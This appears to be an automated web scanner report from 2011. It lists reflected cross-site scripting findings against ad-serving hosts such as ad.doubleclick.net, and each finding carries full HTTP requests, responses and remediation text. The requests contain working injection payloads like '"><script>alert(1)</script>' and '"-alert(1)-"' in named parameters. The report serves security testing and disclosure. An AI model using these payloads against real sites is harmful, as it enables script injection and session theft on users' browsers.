GET /adi/N3285.google/B2343920.91;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BoYz9ublJTdS3OKHLsQer86zYB5PMjd0Bs7-ixBjbjrqKUYCXIhABGAEgpPSYAzgAULbI36sHYMm-somQpNARoAGZjZzuA7IBD2JvYXJkcmVhZGVyLmNvbboBCjMwMHgyNTBfYXPIAQnaAXZodHRwOi8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-453708552427379466758"-alert(1)-"219072ecf8b&adurl=;ord=699026599? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4537085524273794&format=300x250_as&output=html&h=250&w=300&lmt=1296698959&channel=3510583841&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dside%26rand%3D6382924&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677358999&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as&correlator=1296677358676&frm=0&adk=3794557511&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=2&dtd=24&xpc=gTmsrpKGsX&p=http%3A//boardreader.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 20:27:40 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4981
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... 2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-453708552427379466758"-alert(1)-"219072ecf8b&adurl=http%3a%2f%2fdegrees.classesusa.com/schools/%3Fsourceid%3D50545246-232704189-39897819"); var wmode = "opaque"; var bg = ""; var dcallowscriptaccess = "never"; var openWindow = "false"; var winW ...[SNIP]...
The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 78291"-alert(1)-"1aa4fa9a8f0 was submitted in the num parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.google/B2343920.91;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BoYz9ublJTdS3OKHLsQer86zYB5PMjd0Bs7-ixBjbjrqKUYCXIhABGAEgpPSYAzgAULbI36sHYMm-somQpNARoAGZjZzuA7IBD2JvYXJkcmVhZGVyLmNvbboBCjMwMHgyNTBfYXPIAQnaAXZodHRwOi8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=178291"-alert(1)-"1aa4fa9a8f0&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-4537085524273794&adurl=;ord=699026599? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4537085524273794&format=300x250_as&output=html&h=250&w=300&lmt=1296698959&channel=3510583841&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dside%26rand%3D6382924&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677358999&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as&correlator=1296677358676&frm=0&adk=3794557511&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=2&dtd=24&xpc=gTmsrpKGsX&p=http%3A//boardreader.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 20:27:08 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4981
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... 3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=178291"-alert(1)-"1aa4fa9a8f0&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-4537085524273794&adurl=http%3a%2f%2fdegrees.classesusa.com/schools/%3Fsourceid%3D50545246-232704189-39897819"); var wmode = "opaque"; var bg = "";
The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d3a0"-alert(1)-"cc96eba19d7 was submitted in the sig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.google/B2343920.91;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BoYz9ublJTdS3OKHLsQer86zYB5PMjd0Bs7-ixBjbjrqKUYCXIhABGAEgpPSYAzgAULbI36sHYMm-somQpNARoAGZjZzuA7IBD2JvYXJkcmVhZGVyLmNvbboBCjMwMHgyNTBfYXPIAQnaAXZodHRwOi8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w1d3a0"-alert(1)-"cc96eba19d7&client=ca-pub-4537085524273794&adurl=;ord=699026599? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4537085524273794&format=300x250_as&output=html&h=250&w=300&lmt=1296698959&channel=3510583841&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dside%26rand%3D6382924&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677358999&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as&correlator=1296677358676&frm=0&adk=3794557511&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=2&dtd=24&xpc=gTmsrpKGsX&p=http%3A//boardreader.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 20:27:24 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4981
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... 5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w1d3a0"-alert(1)-"cc96eba19d7&client=ca-pub-4537085524273794&adurl=http%3a%2f%2fdegrees.classesusa.com/schools/%3Fsourceid%3D50545246-232704189-39897819"); var wmode = "opaque"; var bg = ""; var dcallowscriptaccess = "never"; var ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 31220"-alert(1)-"5c310f7490c was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.google/B2343920.91;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l31220"-alert(1)-"5c310f7490c&ai=BoYz9ublJTdS3OKHLsQer86zYB5PMjd0Bs7-ixBjbjrqKUYCXIhABGAEgpPSYAzgAULbI36sHYMm-somQpNARoAGZjZzuA7IBD2JvYXJkcmVhZGVyLmNvbboBCjMwMHgyNTBfYXPIAQnaAXZodHRwOi8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-4537085524273794&adurl=;ord=699026599? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4537085524273794&format=300x250_as&output=html&h=250&w=300&lmt=1296698959&channel=3510583841&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dside%26rand%3D6382924&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677358999&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as&correlator=1296677358676&frm=0&adk=3794557511&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=2&dtd=24&xpc=gTmsrpKGsX&p=http%3A//boardreader.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 20:26:35 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4981
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3aa2/f/1fe/%2a/c%3B232704189%3B1-0%3B0%3B50545246%3B4307-300/250%3B40436189/40453976/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l31220"-alert(1)-"5c310f7490c&ai=BoYz9ublJTdS3OKHLsQer86zYB5PMjd0Bs7-ixBjbjrqKUYCXIhABGAEgpPSYAzgAULbI36sHYMm-somQpNARoAGZjZzuA7IBD2JvYXJkcmVhZGVyLmNvbboBCjMwMHgyNTBfYXPIAQnaAXZodHRwOi8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5u ...[SNIP]...
4.21. http://ad.doubleclick.net/adi/N3285.msn-dm/B2343920.67 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adi/N3285.msn-dm/B2343920.67
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3d94"-alert(1)-"3cf86d08147 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.msn-dm/B2343920.67;sz=300x250;ord=104579515?click=http://clk.redcated/goiframe/142215812.69688405/197075234/direct/01%3fhref=&e3d94"-alert(1)-"3cf86d08147=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://redcated/APM/iview/197075234/direct;;wi.300;hi.250/01?click= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 21:52:33 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4153
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... .net/click%3Bh%3Dv8/3aa2/f/6b/%2a/u%3B222980277%3B4-0%3B0%3B25708763%3B4307-300/250%3B40308306/40326093/1%3B%3B%7Esscs%3D%3fhttp://clk.redcated/goiframe/142215812.69688405/197075234/direct/01%3fhref=&e3d94"-alert(1)-"3cf86d08147=1https%3a%2f%2finsurance.lowermybills.com/auto/%3Fsourceid%3D25708763-222980277-40326093"); var wmode = "opaque"; var bg = ""; var dcallowscriptaccess = "never"; var openWindow = "false"; var winW = 3 ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2487d"-alert(1)-"2c5b6b5daa5 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.msn-dm/B2343920.67;sz=300x250;ord=104579515?click=http://clk.redcated/goiframe/142215812.69688405/197075234/direct/01%3fhref=2487d"-alert(1)-"2c5b6b5daa5 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://redcated/APM/iview/197075234/direct;;wi.300;hi.250/01?click= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 21:52:14 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4163
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... k.net/click%3Bh%3Dv8/3aa2/7/68/%2a/p%3B222980277%3B2-0%3B0%3B25708763%3B4307-300/250%3B40114169/40131956/1%3B%3B%7Esscs%3D%3fhttp://clk.redcated/goiframe/142215812.69688405/197075234/direct/01%3fhref=2487d"-alert(1)-"2c5b6b5daa5https://insurance.lowermybills.com/auto/?sourceid=25708763-222980277-40131956"); var wmode = "opaque"; var bg = ""; var dcallowscriptaccess = "never"; var openWindow = "false"; var winW = 300; var winH ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f361"><script>alert(1)</script>7e001703d00 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/dmd.ehow/computers6f361"><script>alert(1)</script>7e001703d00;cat=computersoftware;scat=;sscat=;art=;qg=;tc=;vid=0;ctype=articles;ugc=0;lvl=1;rsi=;tile=3;sz=300x250;ord=4760230283606905? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.ehow.com/computer-software/?206d4'-alert(1)-'dbefd3749fe=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:31:12 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 593
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- BEGIN STANDARD TAG - 300 x 250 - - DO NOT MODIFY --> <SCRIPT TYPE="text/javascript" SRC="http://ad.yieldmanager.com/st?ad_type=ad&ad_size=300x250&entity=58661&site_code=computers6f361"><script>alert(1)</script>7e001703d00§ion_code=&click=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa2/3/0/%2a/h%3B228957569%3B0-0%3B0%3B45373372%3B4307-300/250%3B38375088/38392845/1%3B%3B%7Eaopt%3D2/0/36/0%3B%7Esscs%3D%3f"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1c21"><script>alert(1)</script>57155bc0307 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adi/dmd.ehow/homepagee1c21"><script>alert(1)</script>57155bc0307;vid=0;ugc=0;lvl=4;sz=300x250;tile=2;ord=2735259747132? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.ehow.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:28:36 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 592
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- BEGIN STANDARD TAG - 300 x 250 - - DO NOT MODIFY --> <SCRIPT TYPE="text/javascript" SRC="http://ad.yieldmanager.com/st?ad_type=ad&ad_size=300x250&entity=58661&site_code=homepagee1c21"><script>alert(1)</script>57155bc0307§ion_code=&click=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa2/3/0/%2a/h%3B228957569%3B0-0%3B0%3B45373372%3B4307-300/250%3B38375088/38392845/1%3B%3B%7Eaopt%3D2/0/36/0%3B%7Esscs%3D%3f"> ...[SNIP]...
The value of the Z request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97345'-alert(1)-'e55a08937c8 was submitted in the Z parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imp?Z=160x60097345'-alert(1)-'e55a08937c8&s=429613&_salt=975924496&B=10&u=http%3A%2F%2Fad.harrenmedianetwork.com%2F&r=0 HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:57 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/javascript Date: Wed, 02 Feb 2011 19:17:57 GMT Content-Length: 411 Connection: close
The value of the s request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6cd7'-alert(1)-'948355e44c0 was submitted in the s parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imp?Z=160x600&s=429613d6cd7'-alert(1)-'948355e44c0&_salt=975924496&B=10&u=http%3A%2F%2Fad.harrenmedianetwork.com%2F&r=0 HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:57 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/javascript Date: Wed, 02 Feb 2011 19:17:57 GMT Content-Length: 411 Connection: close
The value of the ad_size request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9b92"><script>alert(1)</script>9e1c2d8085e was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=160x600f9b92"><script>alert(1)</script>9e1c2d8085e§ion=429613 HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:55 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:55 GMT Content-Length: 711 Connection: close
The value of the ad_size request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e920'-alert(1)-'fcb38195981 was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=160x6008e920'-alert(1)-'fcb38195981§ion=429613 HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:55 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:55 GMT Content-Length: 641 Connection: close
The value of the section request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f47e8'-alert(1)-'64ed47f711b was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=160x600§ion=429613f47e8'-alert(1)-'64ed47f711b HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
